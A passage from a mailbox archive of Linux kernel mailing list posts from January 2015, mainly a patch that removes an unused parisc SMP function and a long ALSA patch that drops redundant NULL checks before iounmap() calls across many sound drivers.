>  	       drv->tty_driver->name_base + port->line,
>  	       address, port->irq, port->uartclk / 16, uart_type(port));

Very odd, but I'll go queue it up, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] arch: parisc: kernel: smp:  Remove unused function
Date: Fri,  2 Jan 2015 21:34:21 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <1420230861-2548-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1420230701 17694 80.91.229.3 (2 Jan 2015 20:31:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2015 20:31:41 +0000 (UTC)
Cc: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 21:31:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Y78sf-0006aX-JF
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Jan 2015 21:31:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752121AbbABUbU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2015 15:31:20 -0500
Original-Received: from mail-wg0-f52.google.com ([74.125.82.52]:47108 "EHLO
	mail-wg0-f52.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752093AbbABUbU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2015 15:31:20 -0500
Original-Received: by mail-wg0-f52.google.com with SMTP id x12so24638192wgg.39
        for <linux-parisc@vger.kernel.org>; Fri, 02 Jan 2015 12:31:19 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=MRP1f39hW3AvAUnlBYgZmivyRw6dS+JDhZ1Fm/ehwwE=;
        b=VVtbqdyU6rDfgctZQWkpZiyOb/BM1MKhJiufa/Fvm24YegSkzaksLVokJgUI9Stl6S
         2i1D+VK4X04wfsV7/u/GQzQvm5NyAg4w3lehgSpf2oxacjt8xMKHD+bO6nRvFPM8UcPw
         ht9KuTHE7OyCAHSzQVbSJlYKQZfzixG2dj3RtXmv0ROkkO45G/xUuvvP/mA4LgIjlkhc
         ZytHIWyz+lCLA+ZFpvg61we2XlerB46vPbsVW9d1FR9Yz61ipSfFwXAQlRhOseZo3AVc
         Xx66SpYxdsIANLXRQxlUozxcjf7LExuejUUZmvFULR/TbfAppvowDtIg8sqbFSOtA630
         ah7Q==
X-Gm-Message-State: ALoCoQlXmlrjaZ1vPIKuJv8sGDWWYwbEwHLX3GPI+fM645D+H1ZRt2Q+pz9XKa88jY+a7KmdTDne
X-Received: by 10.180.77.79 with SMTP id q15mr1062806wiw.8.1420230678979;
        Fri, 02 Jan 2015 12:31:18 -0800 (PST)
Original-Received: from localhost.localdomain (h-246-111.a218.priv.bahnhof.se. [85.24.246.111])
        by mx.google.com with ESMTPSA id kn7sm58835233wjc.45.2015.01.02.12.31.17
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 02 Jan 2015 12:31:18 -0800 (PST)
X-Mailer: git-send-email 1.7.10.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25533 gmane.linux.kernel:1857905
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25533>

Remove the function smp_send_start() that is not used anywhere.

This was partially found by using a static code analysis program called cppcheck.

Signed-off-by: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
---
 arch/parisc/kernel/smp.c |    3 ---
 1 file changed, 3 deletions(-)

diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index ceda229..52e8597 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -230,9 +230,6 @@ send_IPI_allbutself(enum ipi_message_type op)
 inline void 
 smp_send_stop(void)	{ send_IPI_allbutself(IPI_CPU_STOP); }
 
-static inline void
-smp_send_start(void)	{ send_IPI_allbutself(IPI_CPU_START); }

From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: SF Markus Elfring <elfring@users.sourceforge.net>
Newsgroups: gmane.linux.alsa.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: [PATCH 11/13] ALSA: Deletion of checks before the
	function call "iounmap"
Date: Sun, 04 Jan 2015 14:36:01 +0100
Lines: 472
Approved: news@gmane.org
Message-ID: <54A941C1.4020906@users.sourceforge.net>
References: <5307CAA2.8060406@users.sourceforge.net>
 <alpine.DEB.2.02.1402212321410.2043@localhost6.localdomain6>
 <530A086E.8010901@users.sourceforge.net>
 <alpine.DEB.2.02.1402231635510.1985@localhost6.localdomain6>
 <530A72AA.3000601@users.sourceforge.net>
 <alpine.DEB.2.02.1402240658210.2090@localhost6.localdomain6>
 <530B5FB6.6010207@users.sourceforge.net>
 <alpine.DEB.2.10.1402241710370.2074@hadrien>
 <530C5E18.1020800@users.sourceforge.net>
 <alpine.DEB.2.10.1402251014170.2080@hadrien>
 <530CD2C4.4050903@users.sourceforge.net>
 <alpine.DEB.2.10.1402251840450.7035@hadrien>
 <530CF8FF.8080600@users.sourceforge.net>
 <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6>
 <530DD06F.4090703@users.sourceforge.net>
 <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6>
 <5317A59D.4@users.sourceforge.net> <54A9355F.4050102@users.sourceforge.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420378619 711 80.91.229.3 (4 Jan 2015 13:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 4 Jan 2015 13:36:59 +0000 (UTC)
Cc: Julia Lawall <julia.lawall@lip6.fr>, kernel-janitors@vger.kernel.org,
 LKML <linux-kernel@vger.kernel.org>
To: Jaroslav Kysela <perex@perex.cz>, 
 Johannes Berg <johannes@sipsolutions.net>,
 Clemens Ladisch <clemens@ladisch.de>, 
 Russell King <linux@arm.linux.org.uk>,
 Takashi Iwai <tiwai@suse.de>, Thibaut Varene <T-Bone@parisc-linux.org>, 
 alsa-devel@alsa-project.org, linuxppc-dev@lists.ozlabs.org, 
 linux-parisc@vger.kernel.org
Original-X-From: alsa-devel-bounces@alsa-project.org Sun Jan 04 14:36:51 2015
Return-path: <alsa-devel-bounces@alsa-project.org>
Envelope-to: glad-alsa-devel-2@m.gmane.org
Original-Received: from alsa0.perex.cz ([77.48.224.243])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <alsa-devel-bounces@alsa-project.org>)
	id 1Y7lMP-00047R-IB
	for glad-alsa-devel-2@m.gmane.org; Sun, 04 Jan 2015 14:36:49 +0100
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
	id E320C261A01; Sun,  4 Jan 2015 14:36:48 +0100 (CET)
X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on mail1.perex.cz
X-Spam-Level: 
X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=disabled
	version=3.2.4
Original-Received: from alsa0.perex.cz (localhost [IPv6:::1])
	by alsa0.perex.cz (Postfix) with ESMTP id B323626060C;
	Sun,  4 Jan 2015 14:36:38 +0100 (CET)
X-Original-To: alsa-devel@alsa-project.org
Delivered-To: alsa-devel@alsa-project.org
Original-Received: by alsa0.perex.cz (Postfix, from userid 1000)
 id D42D626063D; Sun,  4 Jan 2015 14:36:37 +0100 (CET)
Original-Received: from mout.web.de (mout.web.de [212.227.15.4])
 by alsa0.perex.cz (Postfix) with ESMTP id D962A2605E7
 for <alsa-devel@alsa-project.org>; Sun,  4 Jan 2015 14:36:29 +0100 (CET)
Original-Received: from [192.168.1.2] ([78.49.107.19]) by smtp.web.de (mrweb002) with
 ESMTPSA (Nemesis) id 0LbImQ-1XOIWj1Zfu-00kwaq; Sun, 04 Jan 2015 14:36:15
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64;
 rv:31.0) Gecko/20100101 Thunderbird/31.3.0
In-Reply-To: <54A9355F.4050102@users.sourceforge.net>
X-Provags-ID: V03:K0:2eWb/2VWP1M3B3DC2QKbbSv9hHvBcUKtdiIfNYJsK2T1e8/kYJm
 IwvIdA3XoTfZlLUG0SHs1Z+rQsxcp+qvh0xxscYknmNdjz3kzXk2qww3Q2sKzcAmfsXpJ9m
 nsd7jVz7W6AoFsoWxQs0WHfZVFeKEYWpAvVymWXH22bWgRHtiBtswgGoynntwrFWWqE+Joy
 OBTEyyvAPGGCTtgwRznxw==
X-UI-Out-Filterresults: notjunk:1;
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:132340 gmane.linux.ports.ppc64.devel:107942 gmane.linux.ports.parisc:25534 gmane.linux.kernel.janitors:32669 gmane.linux.kernel:1858208
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/132340>

From: Markus Elfring <elfring@users.sourceforge.net>
Date: Sat, 3 Jan 2015 22:55:54 +0100

The iounmap() function performs also input parameter validation.
Thus the test around the call is not needed.

This issue was detected by using the Coccinelle software.

Signed-off-by: Markus Elfring <elfring@users.sourceforge.net>
---
 sound/aoa/soundbus/i2sbus/core.c | 13 ++++++-------
 sound/arm/aaci.c                 |  4 ++--
 sound/drivers/ml403-ac97cr.c     |  3 +--
 sound/isa/msnd/msnd_pinnacle.c   |  3 +--
 sound/parisc/harmony.c           |  4 +---
 sound/pci/ad1889.c               |  5 +----
 sound/pci/asihpi/hpioctl.c       |  6 ++----
 sound/pci/atiixp.c               |  3 +--
 sound/pci/atiixp_modem.c         |  3 +--
 sound/pci/aw2/aw2-alsa.c         |  4 +---
 sound/pci/bt87x.c                |  3 +--
 sound/pci/cs4281.c               |  6 ++----
 sound/pci/cs46xx/cs46xx_lib.c    |  4 ++--
 sound/pci/ctxfi/cthw20k1.c       |  5 +----
 sound/pci/ctxfi/cthw20k2.c       |  5 +----
 sound/pci/echoaudio/echoaudio.c  |  6 +-----
 sound/pci/hda/hda_intel.c        |  3 +--
 sound/pci/lola/lola.c            |  6 ++----
 sound/pci/mixart/mixart.c        |  7 +++----
 sound/pci/nm256/nm256.c          |  6 ++----
 sound/pci/rme9652/hdsp.c         |  4 +---
 sound/pci/rme9652/hdspm.c        |  4 +---
 sound/pci/rme9652/rme9652.c      |  3 +--
 sound/pci/sis7019.c              |  5 +----
 sound/pci/ymfpci/ymfpci_main.c   |  3 +--
 sound/ppc/pmac.c                 | 15 +++++----------
 26 files changed, 43 insertions(+), 90 deletions(-)

diff --git a/sound/aoa/soundbus/i2sbus/core.c b/sound/aoa/soundbus/i2sbus/core.c
index 4e2b4fb..7835045 100644
--- a/sound/aoa/soundbus/i2sbus/core.c
+++ b/sound/aoa/soundbus/i2sbus/core.c
@@ -74,10 +74,9 @@ static void i2sbus_release_dev(struct device *dev)
 	int i;
 
 	i2sdev = container_of(dev, struct i2sbus_dev, sound.ofdev.dev);
-
- 	if (i2sdev->intfregs) iounmap(i2sdev->intfregs);
- 	if (i2sdev->out.dbdma) iounmap(i2sdev->out.dbdma);
- 	if (i2sdev->in.dbdma) iounmap(i2sdev->in.dbdma);
+	iounmap(i2sdev->intfregs);
+	iounmap(i2sdev->out.dbdma);
+	iounmap(i2sdev->in.dbdma);
 	for (i = aoa_resource_i2smmio; i <= aoa_resource_rxdbdma; i++)
 		release_and_free_resource(i2sdev->allocated_resource[i]);
 	free_dbdma_descriptor_ring(i2sdev, &i2sdev->out.dbdma_ring);
@@ -318,9 +317,9 @@ static int i2sbus_add_dev(struct macio_dev *macio,
 			free_irq(dev->interrupts[i], dev);
 	free_dbdma_descriptor_ring(dev, &dev->out.dbdma_ring);
 	free_dbdma_descriptor_ring(dev, &dev->in.dbdma_ring);
-	if (dev->intfregs) iounmap(dev->intfregs);
-	if (dev->out.dbdma) iounmap(dev->out.dbdma);
-	if (dev->in.dbdma) iounmap(dev->in.dbdma);
+	iounmap(dev->intfregs);
+	iounmap(dev->out.dbdma);
+	iounmap(dev->in.dbdma);
 	for (i=0;i<3;i++)
 		release_and_free_resource(dev->allocated_resource[i]);
 	mutex_destroy(&dev->lock);
diff --git a/sound/arm/aaci.c b/sound/arm/aaci.c
index 0e83a73..4140b1b 100644
--- a/sound/arm/aaci.c
+++ b/sound/arm/aaci.c
@@ -889,8 +889,8 @@ static int aaci_probe_ac97(struct aaci *aaci)
 static void aaci_free_card(struct snd_card *card)
 {
 	struct aaci *aaci = card->private_data;
-	if (aaci->base)
-		iounmap(aaci->base);
+
+	iounmap(aaci->base);
 }
 
 static struct aaci *aaci_init_card(struct amba_device *dev)
diff --git a/sound/drivers/ml403-ac97cr.c b/sound/drivers/ml403-ac97cr.c
index ec01de1..bdcb572 100644
--- a/sound/drivers/ml403-ac97cr.c
+++ b/sound/drivers/ml403-ac97cr.c
@@ -1094,8 +1094,7 @@ static int snd_ml403_ac97cr_free(struct snd_ml403_ac97cr *ml403_ac97cr)
 	if (ml403_ac97cr->capture_irq >= 0)
 		free_irq(ml403_ac97cr->capture_irq, ml403_ac97cr);
 	/* give back "port" */
-	if (ml403_ac97cr->port != NULL)
-		iounmap(ml403_ac97cr->port);
+	iounmap(ml403_ac97cr->port);
 	kfree(ml403_ac97cr);
 	PDEBUG(INIT_INFO, "free(): (done)\n");
 	return 0;
diff --git a/sound/isa/msnd/msnd_pinnacle.c b/sound/isa/msnd/msnd_pinnacle.c
index 65b3682..4c07266 100644
--- a/sound/isa/msnd/msnd_pinnacle.c
+++ b/sound/isa/msnd/msnd_pinnacle.c
@@ -627,8 +627,7 @@ static int snd_msnd_attach(struct snd_card *card)
 	return 0;
 
 err_release_region:
-	if (chip->mappedbase)
-		iounmap(chip->mappedbase);
+	iounmap(chip->mappedbase);
 	release_mem_region(chip->base, BUFFSIZE);
 	release_region(chip->io, DSP_NUMIO);
 	free_irq(chip->irq, chip);
diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index 29604a2..f2350c1 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -893,9 +893,7 @@ snd_harmony_free(struct snd_harmony *h)
 	if (h->irq >= 0)
 		free_irq(h->irq, h);
 
-	if (h->iobase)
-		iounmap(h->iobase);
-
+	iounmap(h->iobase);
 	kfree(h);
 	return 0;
 }
diff --git a/sound/pci/ad1889.c b/sound/pci/ad1889.c
index 547ee30..0de3129 100644
--- a/sound/pci/ad1889.c
+++ b/sound/pci/ad1889.c
@@ -853,12 +853,9 @@ snd_ad1889_free(struct snd_ad1889 *chip)
 		free_irq(chip->irq, chip);
 
 skip_hw:
-	if (chip->iobase)
-		iounmap(chip->iobase);
-
+	iounmap(chip->iobase);
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
-
 	kfree(chip);
 	return 0;
 }
diff --git a/sound/pci/asihpi/hpioctl.c b/sound/pci/asihpi/hpioctl.c
index 72af66b..67d1133 100644
--- a/sound/pci/asihpi/hpioctl.c
+++ b/sound/pci/asihpi/hpioctl.c
@@ -541,10 +541,8 @@ void asihpi_adapter_remove(struct pci_dev *pci_dev)
 	hpi_send_recv_ex(&hm, &hr, HOWNER_KERNEL);
 
 	/* unmap PCI memory space, mapped during device init. */
-	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; idx++) {
-		if (pci.ap_mem_base[idx])
-			iounmap(pci.ap_mem_base[idx]);
-	}
+	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; ++idx)
+		iounmap(pci.ap_mem_base[idx]);
 
 	if (pa->irq)
 		free_irq(pa->irq, pa);
diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
index 9c1c445..d24188f 100644
--- a/sound/pci/atiixp.c
+++ b/sound/pci/atiixp.c
@@ -1585,8 +1585,7 @@ static int snd_atiixp_free(struct atiixp *chip)
       __hw_end:
 	if (chip->irq >= 0)
 		free_irq(chip->irq, chip);
-	if (chip->remap_addr)
-		iounmap(chip->remap_addr);
+	iounmap(chip->remap_addr);
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
 	kfree(chip);
diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
index b2f63e0..c321a97 100644
--- a/sound/pci/atiixp_modem.c
+++ b/sound/pci/atiixp_modem.c
@@ -1211,8 +1211,7 @@ static int snd_atiixp_free(struct atiixp_modem *chip)
       __hw_end:
 	if (chip->irq >= 0)
 		free_irq(chip->irq, chip);
-	if (chip->remap_addr)
-		iounmap(chip->remap_addr);
+	iounmap(chip->remap_addr);
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
 	kfree(chip);
diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
index e1cf019..8d2fee7 100644
--- a/sound/pci/aw2/aw2-alsa.c
+++ b/sound/pci/aw2/aw2-alsa.c
@@ -229,9 +229,7 @@ static int snd_aw2_dev_free(struct snd_device *device)
 	if (chip->irq >= 0)
 		free_irq(chip->irq, (void *)chip);
 	/* release the i/o ports & memory */
-	if (chip->iobase_virt)
-		iounmap(chip->iobase_virt);
-
+	iounmap(chip->iobase_virt);
 	pci_release_regions(chip->pci);
 	/* disable the PCI entry */
 	pci_disable_device(chip->pci);
diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
index 058b997..e82ceac 100644
--- a/sound/pci/bt87x.c
+++ b/sound/pci/bt87x.c
@@ -690,8 +690,7 @@ static int snd_bt87x_free(struct snd_bt87x *chip)
 		snd_bt87x_stop(chip);
 	if (chip->irq >= 0)
 		free_irq(chip->irq, chip);
-	if (chip->mmio)
-		iounmap(chip->mmio);
+	iounmap(chip->mmio);
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
 	kfree(chip);
diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
index 05a4337..ea33911 100644
--- a/sound/pci/cs4281.c
+++ b/sound/pci/cs4281.c
@@ -1316,10 +1316,8 @@ static int snd_cs4281_free(struct cs4281 *chip)
 
 	if (chip->irq >= 0)
 		free_irq(chip->irq, chip);
-	if (chip->ba0)
-		iounmap(chip->ba0);
-	if (chip->ba1)
-		iounmap(chip->ba1);
+	iounmap(chip->ba0);
+	iounmap(chip->ba1);
 	pci_release_regions(chip->pci);
 	pci_disable_device(chip->pci);
 
diff --git a/sound/pci/cs46xx/cs46xx_lib.c b/sound/pci/cs46xx/cs46xx_lib.c
index dfec84e..128bbfe 100644
--- a/sound/pci/cs46xx/cs46xx_lib.c
+++ b/sound/pci/cs46xx/cs46xx_lib.c
@@ -2949,8 +2949,8 @@ static int snd_cs46xx_free(struct snd_cs46xx *chip)
 
 	for (idx = 0; idx < 5; idx++) {
 		struct snd_cs46xx_region *region = &chip->region.idx[idx];
-		if (region->remap_addr)
-			iounmap(region->remap_addr);
+
+		iounmap(region->remap_addr);
 		release_and_free_resource(region->resource);
 	}
 
diff --git a/sound/pci/ctxfi/cthw20k1.c b/sound/pci/ctxfi/cthw20k1.c
index b425aa8..b8b0d8e 100644
--- a/sound/pci/ctxfi/cthw20k1.c
+++ b/sound/pci/ctxfi/cthw20k1.c
@@ -1985,10 +1985,7 @@ static int hw_card_shutdown(struct hw *hw)
 		free_irq(hw->irq, hw);
 
 	hw->irq	= -1;
-
-	if (hw->mem_base)
-		iounmap(hw->mem_base);
-
+	iounmap(hw->mem_base);
 	hw->mem_base = NULL;
 
 	if (hw->io_base)
diff --git a/sound/pci/ctxfi/cthw20k2.c b/sound/pci/ctxfi/cthw20k2.c
index 253899d..4e16b4d 100644
--- a/sound/pci/ctxfi/cthw20k2.c
+++ b/sound/pci/ctxfi/cthw20k2.c
@@ -2110,10 +2110,7 @@ static int hw_card_shutdown(struct hw *hw)
 		free_irq(hw->irq, hw);
 
 	hw->irq	= -1;
-
-	if (hw->mem_base)
-		iounmap(hw->mem_base);
-
+	iounmap(hw->mem_base);
 	hw->mem_base = NULL;
 
 	if (hw->io_base)
diff --git a/sound/pci/echoaudio/echoaudio.c b/sound/pci/echoaudio/echoaudio.c
index 21228ad..98d4f35 100644
--- a/sound/pci/echoaudio/echoaudio.c
+++ b/sound/pci/echoaudio/echoaudio.c
@@ -1872,12 +1872,8 @@ static int snd_echo_free(struct echoaudio *chip)
 	if (chip->comm_page)
 		snd_dma_free_pages(&chip->commpage_dma_buf);
 
-	if (chip->dsp_registers)
-		iounmap(chip->dsp_registers);
-
+	iounmap(chip->dsp_registers);
 	release_and_free_resource(chip->iores);
-
-
 	pci_disable_device(chip->pci);
 
 	/* release chip data */
diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
index d426a0b..a971425 100644
--- a/sound/pci/hda/hda_intel.c
+++ b/sound/pci/hda/hda_intel.c
@@ -1138,8 +1138,7 @@ static int azx_free(struct azx *chip)
 		free_irq(chip->irq, (void*)chip);
 	if (chip->msi)
 		pci_disable_msi(chip->pci);
-	if (chip->remap_addr)
-		iounmap(chip->remap_addr);
+	iounmap(chip->remap_addr);
 
 	azx_free_stream_pages(chip);
 	if (chip->region_requested)
diff --git a/sound/pci/lola/lola.c b/sound/pci/lola/lola.c
index 4cf4be5..9ff60008 100644
--- a/sound/pci/lola/lola.c
+++ b/sound/pci/lola/lola.c
@@ -551,10 +551,8 @@ static void lola_free(struct lola *chip)
 	lola_free_mixer(chip);
 	if (chip->irq >= 0)
 		free_irq(chip->irq, (void *)chip);
-	if (chip->bar[0].remap_addr)
-		iounmap(chip->bar[0].remap_addr);
-	if (chip->bar[1].remap_addr)
-		iounmap(chip->bar[1].remap_addr);
+	iounmap(chip->bar[0].remap_addr);
+	iounmap(chip->bar[1].remap_addr);
 	if (chip->rb.area)
 		snd_dma_free_pages(&chip->rb);
 	pci_release_regions(chip->pci);
diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
index 1faf47e..c3a9f39 100644
--- a/sound/pci/mixart/mixart.c
+++ b/sound/pci/mixart/mixart.c
@@ -1114,10 +1114,9 @@ static int snd_mixart_free(struct mixart_mgr *mgr)
 	}
 
 	/* release the i/o ports */
-	for (i = 0; i < 2; i++) {
-		if (mgr->mem[i].virt)
-			iounmap(mgr->mem[i].virt);
-	}
+	for (i = 0; i < 2; ++i)
+		iounmap(mgr->mem[i].virt);
+
 	pci_release_regions(mgr->pci);
 
 	/* free flowarray */
diff --git a/sound/pci/nm256/nm256.c b/sound/pci/nm256/nm256.c
index 4e41a4e..3f52a44 100644
--- a/sound/pci/nm256/nm256.c
+++ b/sound/pci/nm256/nm256.c
@@ -1460,10 +1460,8 @@ static int snd_nm256_free(struct nm256 *chip)
 	if (chip->irq >= 0)
 		free_irq(chip->irq, chip);
 
-	if (chip->cport)
-		iounmap(chip->cport);
-	if (chip->buffer)
-		iounmap(chip->buffer);
+	iounmap(chip->cport);
+	iounmap(chip->buffer);
 	release_and_free_resource(chip->res_cport);
 	release_and_free_resource(chip->res_buffer);
 
diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
index cf5a6c8..fe66bcb 100644
--- a/sound/pci/rme9652/hdsp.c
+++ b/sound/pci/rme9652/hdsp.c
@@ -5309,9 +5309,7 @@ static int snd_hdsp_free(struct hdsp *hdsp)
 
 	release_firmware(hdsp->firmware);
 	vfree(hdsp->fw_uploaded);
-
-	if (hdsp->iobase)
-		iounmap(hdsp->iobase);
+	iounmap(hdsp->iobase);
 
 	if (hdsp->port)
 		pci_release_regions(hdsp->pci);
diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c
index 3342705..8109b8e 100644
--- a/sound/pci/rme9652/hdspm.c
+++ b/sound/pci/rme9652/hdspm.c
@@ -6965,9 +6965,7 @@ static int snd_hdspm_free(struct hdspm * hdspm)
 		free_irq(hdspm->irq, (void *) hdspm);
 
 	kfree(hdspm->mixer);
-
-	if (hdspm->iobase)
-		iounmap(hdspm->iobase);
+	iounmap(hdspm->iobase);
 
 	if (hdspm->port)
 		pci_release_regions(hdspm->pci);
diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
index 6521521..648911c 100644
--- a/sound/pci/rme9652/rme9652.c
+++ b/sound/pci/rme9652/rme9652.c
@@ -1756,8 +1756,7 @@ static int snd_rme9652_free(struct snd_rme9652 *rme9652)
 
 	if (rme9652->irq >= 0)
 		free_irq(rme9652->irq, (void *)rme9652);
-	if (rme9652->iobase)
-		iounmap(rme9652->iobase);
+	iounmap(rme9652->iobase);
 	if (rme9652->port)
 		pci_release_regions(rme9652->pci);
 
diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
index 7f6a0a0..5e9437b 100644
--- a/sound/pci/sis7019.c
+++ b/sound/pci/sis7019.c
@@ -1064,12 +1064,9 @@ static int sis_chip_free(struct sis7019 *sis)
 	if (sis->irq >= 0)
 		free_irq(sis->irq, sis);
 
-	if (sis->ioaddr)
-		iounmap(sis->ioaddr);
-
+	iounmap(sis->ioaddr);
 	pci_release_regions(sis->pci);
 	pci_disable_device(sis->pci);
-
 	sis_free_suspend(sis);
 	return 0;
 }
diff --git a/sound/pci/ymfpci/ymfpci_main.c b/sound/pci/ymfpci/ymfpci_main.c
index f5581a9..de7f06f 100644
--- a/sound/pci/ymfpci/ymfpci_main.c
+++ b/sound/pci/ymfpci/ymfpci_main.c
@@ -2246,8 +2246,7 @@ static int snd_ymfpci_free(struct snd_ymfpci *chip)
 	release_and_free_resource(chip->mpu_res);
 	release_and_free_resource(chip->fm_res);
 	snd_ymfpci_free_gameport(chip);
-	if (chip->reg_area_virt)
-		iounmap(chip->reg_area_virt);
+	iounmap(chip->reg_area_virt);
 	if (chip->work_ptr.area)
 		snd_dma_free_pages(&chip->work_ptr);
 	
diff --git a/sound/ppc/pmac.c b/sound/ppc/pmac.c
index 5a13b22..d399df4 100644
--- a/sound/ppc/pmac.c
+++ b/sound/ppc/pmac.c
@@ -867,16 +867,11 @@ static int snd_pmac_free(struct snd_pmac *chip)
 	snd_pmac_dbdma_free(chip, &chip->capture.cmd);
 	snd_pmac_dbdma_free(chip, &chip->extra_dma);
 	snd_pmac_dbdma_free(chip, &emergency_dbdma);
-	if (chip->macio_base)
-		iounmap(chip->macio_base);
-	if (chip->latch_base)
-		iounmap(chip->latch_base);
-	if (chip->awacs)
-		iounmap(chip->awacs);
-	if (chip->playback.dma)
-		iounmap(chip->playback.dma);
-	if (chip->capture.dma)
-		iounmap(chip->capture.dma);
+	iounmap(chip->macio_base);
+	iounmap(chip->latch_base);
+	iounmap(chip->awacs);
+	iounmap(chip->playback.dma);
+	iounmap(chip->capture.dma);
 
 	if (chip->node) {
 		int i;
-- 
2.2.1


From - Thu Nov 08 21:37:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial
Subject: Re: [PATCH] serial: fix parisc boot hang
Date: Sun, 04 Jan 2015 11:12:48 -0800
Lines: 75
Approved: news@gmane.org
Message-ID: <1420398768.2078.1.camel@HansenPartnership.com>
References: <1420221913.2072.7.camel@HansenPartnership.com>
	 <20150102185127.GA8636@kroah.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1420398779 28985 80.91.229.3 (4 Jan 2015 19:12:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
